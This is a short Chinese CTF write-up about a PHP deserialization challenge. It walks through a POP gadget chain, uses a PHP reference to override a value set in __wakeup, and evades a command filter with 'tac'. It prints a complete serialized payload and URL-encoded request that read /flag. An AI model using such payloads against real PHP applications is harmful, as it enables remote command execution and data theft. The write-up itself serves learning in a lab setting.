首页 > 其他分享 >测试

测试

时间:2023-07-14 12:45:08浏览次数:45  
标签:22 weapon 测试 hack world refer 赋值

根据类名提示,反序列化的链子应该是:start-hello-world-hack

关键点在于hack类中weapon的值在经过__weakup赋值之后要怎么修改。

wp.php中有这么一句:

$a -> refer = &$a -> weapon;

weapon的指针赋值给refer,在程序对refer进行赋值的时候,就相当于对weapon赋值,也就能成功控制执行的命令了。

程序中过滤了一部分的查看文件内容的命令,但是还有个漏网之鱼tac,最终生成的payload为:

O:5:"start":2:{s:4:"name";N;s:4:"code";O:5:"hello":3:{s:5:"first";N;s:6:"second";N;s:7:"message";O:5:"world":2:{s:6:"bridge";O:5:"world":2:{s:6:"bridge";N;s:5:"dream";O:4:"hack":3:{s:6:"weapon";N;s:5:"refer";R:10;s:4:"ence";s:9:"tac /flag";}}s:5:"dream";N;}}}

访问/?cmd=O:5:%22start%22:2:{s:4:%22name%22;N;s:4:%22code%22;O:5:%22hello%22:3:{s:5:%22first%22;N;s:6:%22second%22;N;s:7:%22message%22;O:5:%22world%22:2:{s:6:%22bridge%22;O:5:%22world%22:2:{s:6:%22bridge%22;N;s:5:%22dream%22;O:4:%22hack%22:3:{s:6:%22weapon%22;N;s:5:%22refer%22;R:10;s:4:%22ence%22;s:9:%22tac%20/flag%22;}}s:5:%22dream%22;N;}}}即可得到flag

标签:22,weapon,测试,hack,world,refer,赋值
From: https://www.cnblogs.com/bkofyZ/p/17553194.html

相关文章

  • java单元测试入参数不同出参不同怎么做
    项目方案-Java单元测试入参不同出参不同的处理背景和问题在软件开发过程中,我们经常需要编写单元测试来保证代码的正确性。但是,在某些情况下,相同的测试方法可能会根据不同的输入参数而产生不同的输出结果。这给单元测试的编写带来了一定的挑战,因为我们需要针对不同的参数情况编......
  • java 异常测试
    【代码示例】packagecom.linhuaming.test;importcom.sun.org.slf4j.internal.Logger;importcom.sun.org.slf4j.internal.LoggerFactory;/***异常测试*/publicclassExceptionTest{//privatefinalstaticLoggerlogger=LoggerFactory.getLogger(Excepti......
  • Miller_rabin 素数测试 学习笔记
    Miller_rabin素数测试一种用来判断素数的算法。前置芝士威尔逊定理若\(p\)为素数,\((p-1)!\equiv-1(\modp)\)。证明:充分性证明:如果\(p\)不是素数,那么他的因数必定存在于$1,2,3,\dots,p−1$之中,所以\(\gcd((p-1)!,p)\),那么\((p-1)!\not\equiv-1\)。必要性证......
  • 测试端口
    1.telnetIP端口 2.curlIP:PORTcurlhttp://IP:PORT/ 3.ssh-v-p端口[email protected]  5.tcpdump tcpdump-ieth0-w1.cap   参考:https://blog.csdn.net/qq_30192655/article/details/122215662......
  • 性能测试流程小结
    1)根据功能模块,准备测试脚本2)根据需求方要求,根据并发数设计测试场景(线程数,Ramp-Up,循环次数,thinktime等参数),修改调试脚本3)给脚本添加结果树,aggregatereport(汇总报告)4)使用多个vm,分布式运行jmeter。运行前通知服务端对数据库保存快照。运行时告知服务端同时检测服务器性能及相关的......
  • Pycharts在测试工作中的应用
    Pycharts在测试工作中的应用pycharts是一个基于Python的数据可视化库,支持多种折线图、柱状图、饼图等。Pycharts底层依赖于Echartspipinstallpychartsfrompyecharts.chartsimportPiefrompyechartsimportoptionsasoptspie=Pie()pie.add("",[("建议",33),("......
  • RPC 框架性能测试,注意这 8 点就够了
    某天,二狗子写了一个RPC框架后,简单测了一下性能,发现超出grpc一大截。二狗子一高兴,忍不住找同事吹了一波。结果,同事亲测后对二狗子说框架性能也就这样。二狗子表示不服,跟同事一番唇枪舌剑后才发现,两个人测试方法有点不大一样。先不论测试方法不同在哪里,今天二狗子先来聊聊,对RPC......
  • 现代C++(Modern C++)基本用法实践:零、概述&测试项目
    序言习惯上,我们把C++11之前的C++语法特性称之为“传统C++”,而把c++11之后的语法特性称之为现代C++。有一种说法称C++为中级语言,因为它的特性介于低级语言(如各类汇编语言)和高级语言(Python、C#)之间--一般来说,它在运行效率上比高级语言要高,而在开发效率上又比高级语言低一些。随着C......
  • Nginx:client_body_temp_path 指令的上传文件测试
    结论硬盘必须要有上传文件3倍大小的剩余空间。否则会报错“nospaceleftondevice”。需要注意,这3份数据都会写到硬盘。大文件上传,实时观察硬盘剩余空间watch-n0.1"df-hm/",会看到很大的波动。默认临时文件路径文档Syntax: client_body_temp_pathpath[level1[lev......
  • 性能测试我选RunnerGo!
    性能测试是软件质量保障的关键环节之一,性能测试可以评估应用的可靠性、稳定性和响应时间。然而,性能测试通常需要大量的时间和资源,因此需要使用高效的性能测试工具来减少测试工作量,并快速识别应用中的性能瓶颈问题。RunnerGo简化了性能测试用例的配置步骤,带来更好的性能测试解决方......